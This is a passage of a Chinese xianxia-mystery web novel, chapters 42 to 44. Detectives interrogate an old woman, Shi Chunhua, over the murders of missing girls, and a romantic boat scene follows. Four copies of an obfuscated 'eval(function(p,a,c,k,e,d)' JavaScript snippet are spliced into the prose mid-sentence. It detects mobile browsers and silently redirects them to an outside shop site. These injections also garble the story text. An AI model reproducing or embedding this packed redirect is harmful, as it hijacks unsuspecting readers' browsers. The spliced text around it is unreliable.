陆衎冷眸轻轻扫了裴元一样,轻飘飘地道:“你的教养呢?随意指摘人家姑娘的相貌,大将军便是这么教子的?” 裴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12930095|133884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 元怒指三枚:“是她先挑衅我的,用眼神!” “裴子钰,”陆衎声音低沉,“你先喝杯清茶,降降火,冷静一下,再好好想想,怎么是不是兄弟。” 裴子钰被他喊得心肝一颤,有些反应不过来,他眨了眨眼,转头看着邢正,问道:“陆在野什么意思?他真的为了这个小三枚,要跟我翻脸?” 邢正拿起桌上的茶杯,塞到裴元的手里,道:“喝茶,冷静冷静。” 他在边上看着,都替陆在野感到心累,裴子钰之前最爱起哄,怎么这会儿,反而跟人三枚争风吃醋起来了。 好不容易将人安抚住,邢正皱眉,捡起被他们快偏到天边的话题,道:“按照民间流传的话本,养了这么一个侄女在身边,日后必成心腹大患。” 农夫与蛇的故事,谁都听说过。 事实证明,镇山神这个侄女,确实是个大祸害无疑。 三枚点头:“镇山神这个侄女,与玉娘年龄相仿,姐妹俩人自小接受的教育,皆来自镇山神玉玺的亲手传授。” “然而却在玉娘及笄之时,发生了变故。”陆衎突然接过三妹的话茬,自然而然地道,“镇山神将猛虎木雕继承给了玉娘,玉娘天生残缺不全的断臂,在某一天乍然复原,与常人再无不同。” “没错。”三枚走动不停的脚步,忽而停在老妪的脑袋边上,“不知侄女觊觎,镇山神疏忽大意,让她知道了木雕之密,虽然事后发现了侄女的野心,玉玺却没将其放在心上。” “殊不知,侄女的算盘,一直以来都放在了玉娘的身上。” “玉娘被害,木雕被夺,乡民突发暴动,镇山神玉玺分身乏术,又遇百年难得一遇之山洪,被突如其来的迅猛的泥石流无情卷走,不见影踪。” 山神消失,一方失守,云水乡的乡民为了活命,只能远走他乡。 突然想到什么,邢正突然一拍大掌,一脸恍然道:“难道说,石芸娘是玉娘的、真正玉娘所生的女儿,可是,老妪是怎么、怎么将她的孩子......” 他的话说得结结巴巴,在场所有人却都听懂了。 三枚有些意外,没想到邢正看着头脑简单,脑子其实还是挺好的,至少有在努力思考跟上自己的节奏。 “镇山神玉玺之所以会被泥石流卷走,便是受了侄女的算计。” 因为玉娘被侄女拿捏在了手里,用来威胁玉玺下山赴约,却不知侄女作孽,引发山洪,自己被泥石流卷走,影踪全无。 三枚突然蹲下,在老妪的耳边道,“你说,我说的对吗?” “石春华。” 长榻上双眼紧闭的老妪,听见三枚这声轻唤,忽而浑身痉挛抽动了起来。 三枚猛然伸手,轻轻地掐住了老妪的脖子,笑嘻嘻地道:“你再装,我便不留情了哦。” 话音刚落地,老妪抽动的身子蓦然停下,塌陷的老眼猛然大睁,狠狠地瞪着三枚。 脸上笑意盈盈,三枚“噗嗤”一声,在她耳边用气音道:“石春华,镇山神玉玺,她回来了。” “回来找你了。” 42. 第 42 章 三枚突然蹲下,在老妪的耳边道,“你说,我说的对吗?” “石春华。” 长榻上双眼紧闭的老妪,听见三枚这声轻唤,忽而浑身痉挛抽动了起来。 三枚猛然伸手,轻轻地掐住了老妪的脖子,笑嘻嘻地道:“你再装,我便不留情了哦。” 话音刚落地,老妪抽动的身子蓦然停下,塌陷的老眼猛然大睁,狠狠地瞪着三枚。 却听三枚“噗嗤”一声,脸上笑意盈盈地在她耳边,用气音道:“石春华,镇山神玉玺,她回来了。” “回来找你了。” 老妪神色狰狞,泛黄的牙齿咬得滋滋作响,狠狠瞪着三枚的眼睛里血丝猩红,冰冷如淬了剧毒。 三枚挑眉,放在老妪脖子上的手,缓缓上移,轻轻地掐住她的下颚。 “怎么,你很意外吗?” 与那双猩红带着恨意的老眼对视,三枚玩味地道,“与至亲久别重逢,是不是高兴坏了呀?” 咬牙切齿的老妪,凹陷的双颊忍不住快速地抽动了起来,她的嘴巴微张,像那苟延残喘的猛兽,死到临头却依旧龇牙咧嘴,妄图以此吓退敌人。 “呵!”三枚轻笑,“怎么,你不也一直在找她吗?” “怎么如今,她自个儿上门来了,你却看着兴致不怎么样呀?” “你——”老妪的声音沙哑,估计是太久没开口说话的原因,才开口说了一个字,便失声哑住了。 三枚掐着她下颚的手指,轻慢地点了点她抽动的嘴角,不屑地道:“别急呀,你听我说完。” “镇山神玉玺托我找你,也不为别的,就是想问问你,玉娘被你藏在哪里?” “是埋在了土里,还是填进了大海,亦或者,被你一把火,给烧成了灰烬?”三枚掐着老妪下颚的手一点一点用力,“她说了,只要你开口,猛虎木雕给你也无妨。” “哦对了,石芸娘也可以给你。” 她笑嘻嘻地道:“我呢,本来是想直接将你送到她哪里去的,但后来想了想,我觉得吧,还是得先过问你的意见。” “看吧,我就是这么的人性化,”三枚的指甲慢慢地陷进了老妪皮肤里,很快便有血液流了出来,“这就是我和你的区别。” 老妪瞪着三枚的眼睛越发狠辣,龇牙的动作慢慢地变成了磨牙。 陆衎不知何时,从座上站了起来,神情严肃专注,时刻注意着老妪的反应。 裴元悄咪咪地站在了他的身后,忽而折扇掩唇,在他的耳边故意道:“这个小三枚,可真会气人,你看那老妪,被她三言两语,气得直喘粗气。” “可怜见的,本来就奄奄一息十分虚弱,别等会儿被气死了,那可要坏事。” 裴元说话时阴阳怪调,听得陆衎眉头直皱。 他微微侧头,垂眸看着边上的人,沉声道:“裴元。” 不是熟稔的“裴子钰”,而是直呼他的全名。 不轻不重的一声,叫得裴元身子一颤,半边头皮直接发麻,脸上的笑意瞬间僵硬住。 陆衎生气了。 尽管他此刻面部表情与平日里看起来差别不大,但裴元就是知道,陆衎生气了。 “怎么、怎么了?” 裴元不敢转头看人,脸颊忽而飞快地抽搐了一下,本想故作轻松,说话时却情不自禁有些结巴。 垂在身侧的手,缓缓移到背后,动作小心,却十分急切、快速地朝邢正的方向挥动。 邢安然,快来救命! 速速将陆在野这个泛着寒气的冰山,从本世子的身边踹走! 然而邢正早在听见陆衎的那声“裴元”时,便快速地躲到了角落里,顺手抄走了咕噜噜转着豆豆眼,一脸看热闹不嫌事大的八耳。 见自己的求救信号一直没有得到回应,裴元就知道邢安然这个没义气的家伙肯定又犯怂了。 竟然让自己一个人独自面对冷厉无情的活阎王,太过分了! 无法,裴元只能将希望寄托在刚才遭了自己一顿排揎的三枚身上。 他的视线直直地盯着三枚的背影,多么希望她这个时候能转过身来,狠狠地臭骂自己一顿。 然而三枚不是裴元肚子里的蛔虫,听不见他内心的疯狂呼唤。 汗流浃背的裴元,感觉到陆衎投射在自己身上的视线和威压,有如实质,仿佛泰山压顶,将他压得有些招架不住。 “你知道眧州这次失踪案,有多少的少女遇害吗?”陆衎声音冷沉地问道。 裴元舔了舔嘴唇,脑子飞快回忆了下,不确定地道:“十四?” 陆衎又问:“那你知道,我们在城郊雨林里,总共挖出了多少截断臂吗?” “啊?断、断臂吗?”豆大的汗珠划过鬓边,裴元脑子暴风运转。 记忆里好似听邢安然说过一嘴,就在他们出城帮忙三枚去雨林里接无根水那会儿,但当时他们的对话被突然出现的太子和三皇子一行打断,之后便在没有提及过了。 “断臂啊,我想想、想想啊,”他眉头皱成“川”字,手指戳着自己的太阳穴,低声喃喃道:“我知道的,你别急,我帮你想想啊,我想想。” 陆衎差点被他的反应和小动作气笑,面上的表情却越来越冷,不等裴元想起来,他自问自答道:“七十二截。” “全是左臂,”他将施压在裴元身上的目光移开,缓缓地看向了长榻上躺着的老妪身上,“而一个人,只有一只左臂。” 七十二截断臂,就代表有七十二个人遇害。 这还是他们在三枚的指引下才找到的,然而被埋藏在阴暗的、无人在意的角落里,不知还有多少人,受了那老妪的迫害。 “不说其他,现在那七十二名少女,包括薛婉茹的尸体,至今还未找到。” 陆衎冷眸泛寒,“她为什么要害那群少女?仅仅是为了复原自己的左手吗?” “可她为何会失去自己的左手?因为她不甘平凡,觊觎上了原本并不属于自己的东西。” “为此她以怨报德、忘恩负义,不惜赌上一切,对将自己抚养长大的恩人反面无情、恩将仇报,不择手段达到目的后,却得鱼忘筌。” 千方百计抢夺了镇山神玉玺传承给玉娘的猛虎木雕和术法,冒着被反噬代价,失去了自己的左手。 然而之后却又为了四肢健全,开始残害无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12943362|133884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辜,作恶多端。 欲壑难填,人心难言,到头来,她竟是做着鱼与熊掌都想兼得的美梦。 陆衎长腿一迈,一步一步地向前走去。 在老妪趁三枚不备,脑袋蓄势向后一仰,又猛然快速低头,张开大口奋身咬向了三枚的时候,陆衎曲起五指,狠狠地钳住了老妪的头顶。 “天生坏种,骨子里遍布自娘胎里带出来的恶习,是怎么改也改不掉的。” 陆衎稍微用力,钳住老妪脑袋的大掌,指尖一点一点地戳破她的头皮,深深地掐住她的头骨,不轻不重的声音犹如恶魔在喃喃低语,“你看,她到了如今这步田地,竟还胆敢在众目睽睽之下害人。” “你居然还怜她悲惨,”他嘲讽一笑,扫了眼将邢正推在前面作遮挡的裴元,轻哼道:“一双眼睛,真是瞎的不能再瞎了!” 反口咬人的老妪,没想到自己的突发动作,半道竟被陆衎截得死死,甚至连动都不能动。 头皮忽而一阵刺痛,老妪还没反应过来发生了什么,顿时又窜上来一股火辣辣的痛感,血液仿佛也被疼得涌了出来。 不对,不是感觉,是真的有什么粘稠的、带着血腥气的液体,自头发里渗了出来,缓缓地从她的额头流了下来。 意识到那弥散着血腥气的粘稠液体,就是自己脑袋里流出来的血液的下一秒,一阵令人生不如死的剧痛骤然袭来,疼得老妪忍不住大声尖叫了起来。 “啊啊啊!!!” 凄厉的尖叫刺破空气,直冲人的耳膜,三枚听得毛骨悚然,连忙捂着耳朵,连连向后退去。 仿佛一生的恐惧和痛苦都凝聚在这漫长的一刻里,老妪痛不欲生,猩红的老眼瞬间暴突,却不敢轻举妄动。 “啊啊啊!!!” “嘘!”陆衎在老妪的耳边轻声道。 明明他声若蚊蝇,轻微得很容易便被老妪的尖叫声掩盖。 却不想,老妪却仿佛那被掐住了脖子的公鸡,撕心裂肺的尖叫声戛然而止。 陆衎:“你知道他们背地里都叫我作什么吗?” 老妪想摇头,脑袋却动不了,只能不停地眨着眼睛,好一会儿,才艰难地发出一声粗噶难听的声音:“不......” “活阎王。”不等她将话说完,陆衎又道。 粘稠的血液慢慢地流进自己的眼睛,老妪刺痛却不敢眨眼,她那充满恐惧的双眸,不住地颤啊颤。 “不要在我的眼皮底下搞小动作,再有下回,直接送你去见地下见那真正的阎王爷。” —— “佛珠!” 裴元躲在邢正的背后,身子忍不住一直在颤抖。 “必须找到陆在野丢失的佛珠!”他用气音说话,一句话却颤了又颤,“哪怕是将镜湖的水都抽干,也必须给我把陆在野的佛珠给找到!” 邢正也没了平日的冷静,听了裴元的话,点头如捣蒜,重复道:“必须找到。” 与如临大敌、面露惊惧的裴元和邢正不同,三枚和邢正抱在手中的八耳,却都双眼亮晶晶地盯着陆衎,两人此时又一次心有灵犀地对视了一眼。 “哇!好强!好厉害!!!” 43. 第 43 章 天黑茫茫,湖边的冷风呼呼直吹。 停在镜湖岸边的楼船,静止不动,连一丝晃悠都感觉不到。 位于楼船最高层的雀室内,八耳犹如雄鹰,站在高处观察着四周的动静。 站在它身后的邢正,眼神锐利,望着波澜不惊的湖面,神情警戒。 “啊~~” 裴元打了个巨大的哈欠,伸了个懒腰,歪着身子靠在门边,道:“也不知道小三枚,能不能应付得了陆在野。” 警戒中的邢正听见他的话,身子一顿,神色有些担忧地道:“我们就将三枚和在野单独留在房间里,这样做好吗?” 毕竟刚才,陆在野差点就捏碎了石春华那个老妪的脑袋。 明明上一句话还在担心三枚的裴元,听了邢正的话,反而心大了起来,他双手环胸,桃花眼微微一眯,脸上露出了令邢正有些眼熟的、特别一言难尽的“猥琐”表情。 他说:“怎么不行!” 嘿嘿笑了一声,裴元拍了拍邢正的肩膀,“咱们在场估计要当炮灰,但小三枚却肯定能全身而退。” “咱们特别识时务地自请到雀台警戒,给她俩留足了私人空间,估计正中陆在野那厮的下怀!” 毕竟,自己当初可是一眼就从那两人的身上嗅出了不同寻常的氛围。 邢正将肩膀上的手拍开,特别无语地看着裴元,“那你之前在房间里,怎么总是跟三枚作对?” 连自己这么迟钝的人,隐隐约约都看出了陆在野对三枚特别在意,你却跟个神经病一样,非要跟人姑娘较劲。 关键是有什么用,又赢不了,还得挨上一顿眼刀子吃。 搞得邢正差点以为几年不见,裴元突然转换了取向开始好男色了,而且还是对着自己兄弟! 不知道邢正在心里的腹诽,裴元又从怀里抽出了自己的折扇,摇头晃脑、老神在在地道:“你懂什么!” “感情的世界,是十分复杂而曲折的,光是弯弯绕绕、你拉我扯、我不说你瞎猜,一不小心就各种误会虐心什么的,一大堆乱七八糟的东西,就能搞得你身心俱疲、满身伤痕。” 他像个经验丰富、堪破红尘世俗的情场老手,叽里咕噜说了一大串令邢正听不明白、更摸不着头脑的话后,接着自我感动地道:“陆在野好不容易才铁树开花那么一回,本世子为了他的终身幸福,简直操碎了心啊。” 邢正表情扭曲,一脸嫌弃加无语加鄙视地翻了个大白眼:“神经病吧,你到底在胡说八道些什么啊?” “还有,你前年不还托师兄给我寄了封信,信里不说自己每天深夜都倍感孤单寂寞冷吗?因为都城的姑娘眼瞎心盲,看不见你的美好心灵,个个都被陆在野的臭皮囊给蒙住了双眼。” “你放屁!”裴元大怒,面红耳赤地大吼道,口水喷了邢正一脸。 他撸着袖子,怒不可遏:“那个混账王八羔子!竟是冒充本世子爷在外坑蒙拐骗,还胆敢胡编乱造诋毁爷的声誉清白!” “等着瞧啊,爷早晚揪出这个背地里的蛆虫,让他尝尝铁拳的滋味!” 邢正蹙眉,不是很相信地道:“信是别人冒充你写的?” “肯定啊!”折扇轻轻拍了拍自己的脸,裴元道,“本世子如此丰神俊朗,哪个瞎了眼的,看不上我?” 他把凑到邢正的眼前,“你仔细瞧瞧,瞧瞧!” 邢正脖子向后一仰,将裴元的大脸推开,敷衍地道:“是,裴世子确实丰神俊朗。” 但陆在野,可是男女通杀的妖孽美人啊! 谁能比得过他那神颜? 听不见邢正的心里话,裴元心满意足地撩了撩秀发,傲娇地“哼”了一声。 一边观察湖底,一边分心听着裴元和邢正对话的八耳,头顶的紫色单冠迎风抖得只剩残影。 “哈!这些城里人可真有趣!”它砸吧砸吧着尖锐的鸡嘴,“可惜了,三枚不在呀。” 雀室安静了一会儿。 等得百无聊赖的裴元,忽而道:“话说,那个叫作什么镇山神玉玺的,可真够意思,居然给小三枚,找来了这么一艘大楼船。” 这艘楼船不仅外观高大巍峨,看起来威慑力十足,而且列矛戈竖防墙,攻防皆宜,简直堪称水上堡垒。 也不知道一个小小的水都,哪里来的人力财力物力,竟然建造出了这么一艘“水上战舰”。 裴元将脑袋探出望台,“但是,有必要吗?” “其实没什么必要的。” 楼船二层的飞庐里,三枚看着坐在面前的陆衎,眨巴眨巴亮晶晶的杏眸,脆生生地道。 暖红色的烛光照在陆衎的脸上,风从窗户里挤过,一阵一阵吹得烛台上的火焰跳动不停。 他垂眸翻着三枚从锁魂箱里抽出来的小册子,听见声音,只轻抬下颚,淡声道:“嗯。” 三枚蹙眉:“你不问我为什么啊?” 陆衎唇线微扬,终于将视线从小册子里移开,落在了三枚的身上。 他从善如流地问道:“为什么?” “因为华而不实啊。”见陆衎终于舍得看向自己了,三枚嘴角翘得高高的。 她凑近陆衎,轻声道:“那日从湖底向上飞窜,疾风闪电一般劈着我而来的那个白点,可不是吃素的。” 若是她来真的,十艘战舰都不够她劈的! 一阵淡香扑鼻而来,微微的,若有似无地扫过脸颊,有些好闻。 看着突然朝自己靠近的三枚,陆衎坐在长榻上纹丝不动,眸色却逐渐加深。 他眼睑微垂,用眼神,仔仔细细地描绘着三枚脸上的五官。 三枚的脸蛋好小,似乎比自己的手掌还小巧,精致的五官,在烛光的照射下,覆上了一层暖黄的柔光,细细地绒毛仿佛星星点点,从陆衎的心间一扫而过。 心痒痒的,有些不适,可他却很清楚,自己此刻的感受,是雀跃的、愉快的。 这样复杂、又令人难耐的感受,令陆衎有些难以适应。 长袖下的手轻握成拳,他的拇指指腹捻着食指指腹,不自觉地缓缓摩挲了起来。 不自觉舔了舔唇角,陆衎深深地望进三枚的眼底,哑声问道:“你怕吗?” “嗯?”三枚以为他指的是那个袭击过自己的水鬼,她不屑地挑了下眉,“有甚好怕的!” “我们山门序家,只是与水不对付罢了。” 她拍了拍自己的胸膛,自信得仿佛之前差点在水里呛死的不是自己一样。 “你就等着瞧吧,”三枚一边说着,一边抬起小手,轻轻的拍了拍陆衎的肩膀,“看我把那水鬼从水底给拖起来,让太阳好好暴晒她个三天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12964086|133884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三夜,好好给她算算账!” 说完,学着话本里放缓狠话的主角,对着陆衎邪魅一笑,正想将搭在陆衎肩上的下手收回,却被一只大掌按在了原位。 手背忽而被一只特别温暖的大掌包裹住,三枚不解地看向陆衎。 却在看见他那双深邃的、充满柔情的眼睛时,差点无法自拔地陷了进去,她的大脑有一瞬间的空白,情不自禁地咽了咽口水,她佯装淡然地,眼神却飘忽地问:“咋、咋啦?” 不合时宜的乡音,将三枚从有些眩晕的氛围里,猛然砸醒。 啊啊啊!!我是谁?我在干什么?怎么突然就上头了呢? 她害羞得咬牙切齿,虽然搞不明白自己到底在害羞什么,但就是莫名觉得有些羞耻,她用力将抽往回一抽,却抽不动,却反被陆衎轻轻一拉,便被拉到了他的身边。 两人的距离瞬间缩短,三枚有些不适,另一只手稍微用力抵在陆衎的胸膛上。 掌下的胸膛内心脏的跳动,继而不自觉地在心里感叹道:“哇!陆衎的身材还挺好,肌肉紧实有力,估计也是线条分明的好身体啊!” 三枚忽然意识到自己竟然有些垂涎陆衎的好身材,脸颊瞬间爆红,抵在他胸前的手顿时像是按在烫手山芋上,想抽回手,又怕两人的距离太近。 纠结得小脸皱成了一团,身体开始各种扭曲挣扎了起来。 陆衎将她的反应看在眼里,见她并不十分排斥,握着三枚手腕的大掌,稍微松了点力道。 修长的带着薄茧的指腹,轻轻地拭过覆在三枚鼻尖的薄汗,陆衎看着她的眼睛,道:“我方才问的,是你怕我吗?” 见到之前自己差点捏碎老妪的头颅,会不会觉得自己太过残忍无情,继而心生退意。 “啊?”三枚的视线追着陆衎给自己擦拭汗水的指腹,听见他的问题,忽而一愣。 她忽而反问道:“为什么要怕你?” 陆衎:“裴子钰和邢安然,害怕得都快抱成一团了。” “嘁!两个大怂货!”三枚轻蔑地一嗤,道:“我和八耳,只觉得你实力好强,好厉害!” 自动忽视夹杂在其中的八耳,陆衎听见三枚的回答,忽而低低地笑出了声。 又被会笑的冰山美人给迷得七荤八素的三枚,见他低头,也跟着垂下脑袋追着他的笑脸看。 却不想陆衎这时候却猛然抬起了头,两张脸变成了面对面,近在咫尺的距离。 三枚僵住不敢动,感受到陆衎喷洒在脸上的微热的气息,紧张得屏住了呼吸,最后干脆直接闭上了眼睛。 见状,陆衎嘴角的笑意越来越深,他身随心动,慢慢、慢慢地凑近三枚。 “噗通!噗通!” 也不知道是谁的心脏声,跳动得如擂鼓般震响。 两个人的呼吸交缠,房间里流动着暧昧和令人害羞的气氛,眼见两人就快要亲上了。 突然,“砰!”的一声巨响。 房门被从外头,用力地推开。 裴元和邢正一股脑从外头冲了进来,大吼道:“来了,来——” 却在看见陆衎和三枚时,吼叫声戛然而止。 煞风景的俩不速之客,几乎在刹那,俱都感受到了来自陆衎的死亡凝视。 两人对视一眼:“这下,真的死定了!” 44. 第 44 章 楼船上的房间,说大不大,却也算不上小,夜风通过门窗,吹得房中燃烧的烛光忽明忽暗。 然而房内的空气,却仿佛凝滞了一般,令人觉得窒息。 什么暧昧的、令人害羞的粉红泡泡,早就随着两个不速之客的乍然出现,被戳得七零八落、稀里哗啦,瞬间消失得无影无踪,只剩尴尬在风中凌乱。 “当你觉得难为情,或者惊慌失措的时候,千万不要像受惊的小鸟一样自乱阵脚。保持镇定,即便是装的也好,只要你表现得足够洒脱自然,那么该感到不好意思和尴尬的,便不是你,而是另有其人。” 父亲序莽的敦敦教导,三枚一直铭记在心。 于是当裴元和邢正突然闯进房间的时候,她愣是硬着头皮一动不动。 忍着羞愤欲死、恨不得一头钻进船缝的羞耻感,三枚佯装特别从容淡定地,慢慢睁开眼睛,仿佛若无其事一般,轻飘飘地瞥了一眼、早就被陆衎冻成僵硬冰雕的两人。 尽管她内心恨不能化身八耳,放声发出尖锐的鬼吼。 被陆衎握在掌心的小手,微微用力一挣,三枚双手撑着陆衎的胸膛,将人轻轻推开,接着不慌不忙地站了起来,泰然自若地走回原位坐下。 她端起早就凉透了的冷茶,送到唇边抿了一口,放下后,才慢条斯理地抬眸,视线在裴元和邢正两人脸上转悠了一圈,最后看向邢正,云淡风轻地道:“邢大哥,你刚才说,什么来了?” 邢、邢大哥? 都这个时候了,小三枚你居然喊人邢安然大哥,是嫌他死得不够快吗?! 裴元心里为好兄弟义愤填膺,实际上身体却很诚实,脚下悄悄地、小小幅度地往边上挪动了一下。 还是离邢安然远一点比较好,等下陆在野痛下杀手的时候,才不会殃及相对无辜的自己。 于是裴元趁人不注意,留下快要碎掉的邢正,独自承受来自陆衎那寒冷而锐利的、难以言喻的视线压迫。 “呵。” 陆衎轻笑一声,唇边泛起冷笑,眼帘微垂,看了之前握着三枚小手的掌心一眼,忽而身子向后一靠,懒洋洋地倚在了靠垫上。 密长而微卷的眼睫毛,投下了一片阴影,遮住了他的双眸,也将他眼底的情绪一一藏匿了起来。 强势投注在自己身上的压迫感,骤然撤离,邢正刚想松一口气,就听陆衎声音懒散地道:“呵,邢大哥?” 这一声“邢大哥”,叫得邢正膝盖一软,差点给陆衎跪下。 他汗流浃背,想解释,嘴巴却干得差点张不开,抬头才发现,陆衎那句话,是对着三枚说的。 那自己还要不要解释了?还有,要解释什么? 邢正转头,想跟裴元眼神求解,结果差点找不到人。 不知不觉挪到了墙角的裴元,意外地挑了下眉,料想的血腥场面竟然没有发生。 这个小三枚,有点东西哈! 直觉危机可能暂时解除的裴元,轻轻朝邢正招了招手,“嘘,这边,这边。” 循着声音望去,邢正才发现,裴子钰这厮不知何时,竟是跑到距离自己三米开外去了。 嘴角一抽,邢正瞪着牛眼控诉地看着他:见死不救的叛徒! —— 一直小口小口喝着冷茶的三枚,左边脸颊感受到两道炙热的视线,却暗自强装镇定,打算无视到底。 “你和邢安然,什么时候变得这么熟稔了?”陆衎忽而直起身子,长臂一伸,将三枚攥在手里的茶杯拿开,在她的耳边轻声问道。 三枚感觉自己脑子有点转不动,闻言便道:“啊?什么意思?” 她抬眼,才发现陆衎的身子又向着自己倾斜过来,虽然距离没刚才那么亲密暧昧,但架不住三枚她自己心虚。 三枚于是上半身稍稍向后一仰,小心翼翼觑了眼邢正和裴元所在的方向,见那两人正低着头装死呢,紧张的神经才稍微松了一松。 陆衎将三枚避嫌的动作看得一清二楚,心里那股不舒服的刺挠感,突然变得泛酸了起来。 他轻笑一声,身子故意又朝三枚的方向倾了过去,意味深长地道:“呵,邢大哥?” 这一笑,三枚听得心尖不觉一颤,手臂蓦然起了一层鸡皮疙瘩。 没了喝茶的假动作作掩饰,她左右看了一圈,默默地将锁魂箱抱在怀里。 须臾,觉得自己好似落了下风的三枚,皱着脸颊,突然恼羞成怒地一拍桌子,大声喝道:“咱们成年人做事,最忌主次不分,所以,先办正事,其他的什么什么,容后再谈!” 见房间里所有人都被自己吓了一跳,原本还有些心虚的三枚,突然就自信了起来,她越说底气越足。 “你们两个,”三枚一手叉腰,一手指着挤在角落里小小声斗嘴争执的裴元和邢正,“说你们呢!对,及时你们!躲在墙角窸窸窣窣什么呢?” “刚才不是喊着什么来了吗?还不快说清楚!耽误了我正事,饶不了你们!” 嘿哟,这个小三枚,跟谁颐指气使、呼呼喝喝呢! 总是记吃不记打的裴元,刚才还瑟瑟发抖、屏住呼吸降低存在感,此刻因为三枚的话,气不过竟然使劲撸起袖子,作势就要怼上三枚。 然而不等他发作,身后突然响起一声“咕咕”叫。 裴元侧头望去,就见小八耳眼神凶狠,雄赳赳气昂昂地从门外走了进来。 它鼻孔朝天地,漫不经心地扫了裴元一眼,“咕”了一声,又继续迈着六亲不认的小步伐,“啪嗒、啪嗒、”走向了三枚。 裴元瞪眼:这是什么混账眼神! 一只小小的稚鸡,竟然也敢对本世子露出这般嗤之以鼻的轻蔑表情! 太嚣张了! 然而,三枚却敏锐地捕捉到了八耳嘴角的一丝血痕,皱了皱鼻子,从窗外吹来的风中,闻出了弥散在清冷空气中的、淡淡的血腥气。 她迅速地将怀里的锁魂箱拿开,一股脑地塞到了陆衎的手中,也不管他接没接住,便径直放了手。 三枚的动作猝不及防,陆衎连忙伸手,险些没能接住箱子,这一动,也闻到了那股淡淡的血腥味。 脸上神情刹那严肃了起来,他淡声问道:“谁受伤了?” 正想大发雷霆、大闹一场的裴元,被陆衎问得一愣,“啊?” 与亦是一脸不明所以的邢正面面相觑,他正想开口说话。 邢正余光却瞥见了三枚和陆衎脸上的严肃神情,于是眼疾手快地捂住了他的嘴巴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12985859|133884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “嘘!”三枚将食指放在唇边,轻声道。 从长榻上下来,她微微弯下身子,双手撑着膝盖,耐心地等着八耳走近自己。 陆衎这时,也默默地站到了三枚的身边,手里提着她的木箱子,忽而眉间微蹙。 这个箱子,好似重了不少,明明不久前还轻得犹如一张薄薄的宣纸,此刻却似实心的重铁。 他的视线不自觉落在了三枚的瘦弱的双肩上,心道:每天背着这么重的箱子,也不知道肩膀磨破皮了没有。 思维发散了一瞬,陆衎便重新将注意力,放到了有些异常的八耳身上。 八耳走到距离三枚只有一米远的时候,突然停了下来,开始原地转起了圆圈。 觉得它的动作有些熟悉的邢正,放开挣扎个不停的裴元,默默地在心里数了起来。 “一、二、三......九。” 只转了九圈,八耳便停了下来。 鸡爪向前一抬,它又踉踉跄跄地走向了三枚。 “呃!” 走到两人身前的八耳,打了一个响亮的饱嗝,凶狠的眼神逐渐涣散了起来。 三枚见状,头也不抬,伸手就去摸索被陆衎拿在手中的锁魂箱。 陆衎配合默契,弓着身子,将锁魂箱递到了三枚的手中。 “叩、叩、叩、” 三枚食指轻轻地对着箱子敲了三下,接着放到锁魂箱的下方,手心向上,好像要接什么东西。 “咔嚓!” 锁魂箱忽而传出了一声脆响,紧接着又是响起“哗啦”一声,听着有点像抽屉被拉开的声音。 “哒!” 有什么东西从箱子下方掉了下来,正好落在三枚的掌心,发出了细微的声响。 三枚将伸到锁魂箱下的手慢慢地收了回来,掌心倒扣着的,赫然就是那个所有人都十分眼熟的破瓷碗。 据说,它是个遇到危险,能第一时间便觉醒保护意识,自发规避危险的、神奇的破瓷碗。 裴元桃花眼瞬间一亮,双眸闪闪发光地盯着三枚手中的破碗。 啊,小三枚将要送给我的小碗碗! 不知道裴元心里正做着臭不要脸的美梦,三枚将倒扣的瓷碗翻正过来,慢慢地递到了八耳的面前。 八耳跟个醉酒的老汉似的,脚步踉跄,左摇右晃,像是失去了平衡,无法控制自己的身体,尖锐的鸡嘴吧唧吧唧,仿佛喝多了在嘟嘟哝哝叨念着什么,间或伴随着一阵阵难以忍受的呕吐声。 三枚听得有些恶心,忍了又忍,最后还是没忍住,反手对着八耳就是一巴掌。 “啪!” 响亮的巴掌声,瞬间响彻在静谧的夜空里。 裴元不知为何,明明被打的不是自己,脸颊却莫名感到火辣辣的疼。 结结实实挨了一巴掌的八耳,涣散的眼眸有一瞬间,恢复了清明。 豆豆眼蓦然瞪大,对着三枚张嘴就要开嚎:“咯——哕!” 